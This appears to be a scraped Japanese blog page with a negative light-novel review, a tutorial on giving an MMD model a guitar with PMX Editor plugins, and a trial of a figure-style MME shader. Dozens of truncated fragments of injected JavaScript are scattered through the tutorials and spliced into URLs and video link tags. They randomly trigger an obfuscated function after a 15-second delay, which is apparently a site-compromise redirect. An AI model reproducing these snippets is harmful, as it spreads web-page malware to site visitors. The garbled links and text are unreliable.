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【ラノベ感想】リア充は爆発しろ、ガチで!2

ネタバレあり

感想というほどの感想も書けないのが実際のところです。

端的に言うと、いままで読んだラノベのなかで最低レベルに面白くなかったです。

1巻のようには○ないのパク、もとい、オマージュ的にやってくれるのを期待してたのですが、違いました。

あれだけものすごい類似をやらかしたのに、2巻でオリジナル路線とは、がっかり。

は○がないオマージュを1巻でやって読者をある程度ひきこんでから2巻でオリジナルということかな?

今回の話で面白くないところは、何かなとおもったけど、たぶん

起承転結の延々と承が続いて、最後まで承だったということかな。

笑えないネタと、オチないまま、次の話にいくループ展開。

ニコ動やそれ以外のネタをちりばめてはいるけど、どれひとつ、くすりともいえない。

どうしてこんなにおもしろくないんだろう。

ちょっと、考えてみた。

・会話劇のオチがない

・会話劇で他のキャラクターの反応に面白みがない

て感じ?

は○がないのマリアのような幼女キャラがなつくパターンかなと思ったら

導入部で話が終わって肩透かし。

(ここが唯一、おっ!?と思えたところ。話が始まらなくてがっかり)

さてさて、3巻でまきかえしで、科学者の変態女の子登場とかやってくれるのかな。

【MMD】人物にギターを持たせる

人物にギターを持たせるで検索すると、腕IKをつけましょうというのがみつかります。

たしかに、腕IKがあったほうがその後の演奏モーションつけるのが楽になります。

ということで、いろいろ調べた結果、標準モデルと同じ構造だと腕IKをつけたりするのが

簡略化できるプラグインがあったりしたので、備忘録的にまとめておきます。

まず、ギターはアクセサリで読み込むことが前提。

手順は、以下のような感じになります。

1.PMX Editer起動

1-1.腕IKをモデルに追加

1-2.ギターボーンを追加(ギターのアクセサリをくっつける部分)

2.MMD起動

2-1.モデル読み込み

2-2.ギター読み込み

2-3.ギターをギターボーンの位置に設定

1-1と1-2を自動でやってくれるプラグインがあったので紹介という感じです。

では、具体的な話。

事前準備として、必要なファイルをダウンロードします。

配付サイトはこちら

MMD BE STUDIOdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}https://sites.google.com/site/mmdbes/home

ダウンロードするものは、以下の3つです。

・GuitarStrapInstallerX

・strap pmd v5 本記事作成中の最新バージョンでした

・IKMaker(PMD版もありますが、ここではPMX版を使用して説明しています)

セットアップはサイトに書いてあるので省略します。

1.PmxEditor起動

2.モデル読み込み

3.腕IK追加

ここでは、プラグインでIKMakerXで追加します。

プラグインを起動すると以下のウィンドウが表示されます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

そのまま実行ボタンをクリックするだけです。

以下のようにボーンに右腕IKと左腕IKが追加されています

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

4.ギターボーン追加

GuitarStrapInstallerXを使用

このプラグインだと、ギター用のストラップをつけるのも組み込まれています。

そのため、プラグインでGuitarStrapInstallerXを選択するとファイルを開くダイアログがでるのでstrap_v5.pmdを選択してください。(最新のpmdを選択)

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

何も変更せずにRunをクリックするだけです。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

こんな感じで左肩にストラップが追加された状態になります。

(ストラップはあとでボーンの位置を変更してギターにくっつけます)

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

このGUMIさんの場合、25~29でギター用のボーンが追加されています。

5.MMD起動してモデルにギターを持たせる

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

MMD起動して、ギターのアクセサリを読み込み。

ギターを追加されたGuitarSの位置に設定したのが上記の図です。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

ストラップはこんな感じで位置調整しましょう。

前の部分をギターの位置にあわせている図です。

具体的なやり方は、配布元のサイトで動画があるのでみてみると良いと思います。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

ギターのストラップをある程度調整したあとの、後ろから撮ったもの。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

ギター、ベース、キーボード、ドラム、ボーカルという基本構成で並べてみました。

ギターとベース以外はかなり適当です。

(ギターとベースも適当だろうといわれるかもしれないけど・・・)

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

ぐみさんのギター正面から。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

ちょっと斜めから。

というわけで、標準的なモデルだとプラグインのおかげで簡単に設定可能というお話でした。

あとはギターモーション作成ですね。

これまた、演奏技術のない私はどうやってなんちゃってギターモーションを作るかぐぐりまくりで探してみました。

なかなか自然にならないけど、とりあえず、こんな感じ

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm18583125″]

midiからギターモーションを作成するツール「jamplay」を利用しています。

両肩のモーションは削除しています。その他、腕IKの位置を適宜修正。

Gたまさんが公開しているモーションの左手の指部分をつかったりなどしています。

「jamplay」配付元サイト

AnotherT/VLdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://chaba.sakura.ne.jp/vl/

なんちゃってモーション程度の備忘録はまた気が向いた時に作ろうかと思います。

【MME】フィギュア風質感エフェクト を試してみた

紹介動画はこちら。

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm18524733″]

配布場所はビームマンPのサイト

ビームマンのエフェクト置き場

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://www43.atwiki.jp/beamman/

さっそくダウンロードして試してみました。

使い方は同梱されている簡易説明書.txtを参照。

今回はおまけでついていたFigure_魔理沙低反射材質用.fxを使いました。

他のMMEは、下記を使用しています。

・SSAO

・デュエーションフィルタ

・GodRay

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

魔理沙のフィギアを見つめるアリスな感じ。

アリスのサイズを10倍にして撮影しました。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

魔理沙の全体。

フィギアに見せようとすると光のあて方も大事ですね。

おもしろいエフェクトですよね。

本当にフィギアみたいです。

パラメータによって色々と調整できるようなので、さらにフィギアらしい感じに仕上げることも可能なのかもしれません。

エッジを0.3にしていましたが、0に設定して、再調整していました。

あまりかわらなかったかな?

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}